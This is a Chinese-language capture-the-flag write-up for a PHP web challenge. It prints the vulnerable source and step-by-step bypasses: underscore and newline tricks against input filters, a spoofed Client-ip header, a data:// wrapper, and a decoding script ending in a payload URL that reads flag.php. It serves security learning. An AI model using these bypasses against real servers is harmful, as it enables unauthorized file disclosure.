- 打开题目,查看源代码
$query = $_SERVER['QUERY_STRING']; # 查询(query)的字符串(URL 中第一个问号 ? 之后的内容)。
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
# substr_count 计算出现的次数,这里计算$query,出现_的次数%5f 也是_ 这里不能等于0
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
# preg_math正则匹配 匹配成功返回1 否则返回0
}
- 第一个if 绕过_ 可以直接把 _ 换成 %20(空格),
b%20u%20p%20t
第二个if 可以%0a
换行污染绕过
?b%20u%20p%20t=23333%0A
3. 进入表示要本地访问
尝试改头之类的,Client-ip:127.0.0.1
查看源代码,jsfuck码
4. 解密
alert(“post me Merak”
5. 传参 Merak=1 想怎么传怎么传
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
- 使用data://伪协议绕过file_get_contents函数,并且写一个脚本解密change函数
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
得到ZmpdYSZmXGI=
- payload:
secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
Client-ip:127.0.0.1
- 查看源代码